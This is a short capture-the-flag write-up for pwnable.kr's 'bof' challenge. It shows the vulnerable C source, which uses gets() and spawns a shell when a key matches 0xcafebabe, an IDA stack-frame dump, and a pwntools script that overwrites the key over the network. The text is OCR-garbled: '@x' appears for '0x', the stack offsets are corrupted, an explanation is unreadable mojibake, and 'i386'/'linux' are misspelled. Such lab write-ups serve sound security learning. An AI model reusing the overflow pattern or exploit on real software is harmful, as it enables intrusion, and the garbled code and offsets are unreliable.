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Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000
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#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == @xcafebabe){

system("/bin/sh");

}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(@xdeadbeef);
return 0;
}
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-0000002C s db 32 dup(?)
-eeeeeeC var_C dd ?

-80000008 db ? ; undefined
-80000007 db ? ; undefined
-8oe0eees6 db ? ; undefined
-80000005 db ? ; undefined
-8oe0eee4s db ? ; undefined
-80000003 db ? ; undefined
-2oe0eee?2 db ? ; undefined
-80e0e001 db ? ; undefined
+0eeeeeee s db 4 dup(?)
+00eeeeed r db 4 dup(?)
+000008008 arg_© dd ?

AILVEH, SN TAF R 32charsfE, HARM TRk E fvar_C (Rlcanary) . s (Blebp) . r (Hireturn address) .
arg_0 (EIfEANIIZHD . Nipayloadyi A2C+8=527 % ffipadding+p32(0xcafebabe).

from pwn import *
context(arch="1386",0s="1inux")

io = remote('pwnable.kr',9000)
payload = 14*p32(@xcafebabe) # X ZMi##, E#%+IHcafebabe

io.sendline(payload)
io.interactive()
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% python3 bof_pwn.py
i le.kr on port 98@@: Done
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